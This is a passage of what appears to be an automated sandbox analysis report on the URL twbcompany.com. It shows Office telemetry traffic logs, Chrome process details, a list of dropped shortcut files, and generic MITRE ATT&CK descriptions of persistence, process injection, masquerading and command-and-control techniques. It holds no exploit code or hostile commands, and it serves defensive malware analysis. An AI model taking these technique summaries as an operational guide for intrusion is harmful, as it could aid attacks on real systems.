2024-10-07 12:10:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121036Z-1657d5bbd48jwrqbupe3ktsx9w00000003kg00000000gh0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49932	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:36 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:36 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121036Z-1657d5bbd48wd55zet5pcra0cg00000003hg00000000006q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:36 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49929	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:36 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:36 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8d044b15-901e-00ac-3902-17b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121036Z-1657d5bbd48t66tjar5xuq22r800000003e000000000a82k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:36 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 4460, Parent PID: 5524

General

Target ID:	0
Start time:	08:10:00
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 1772, Parent PID: 4460

General

Target ID:	2
Start time:	08:10:03
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 --field-trial-handle=2436,i,2595597613527207929,13109168744014609588,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 4324, Parent PID: 5524

General

Target ID:	3
Start time:	08:10:05
Start date:	07/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://twbcompany.com"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://twbcompany.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 161

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Windows Analysis Report
http://twbcompany.com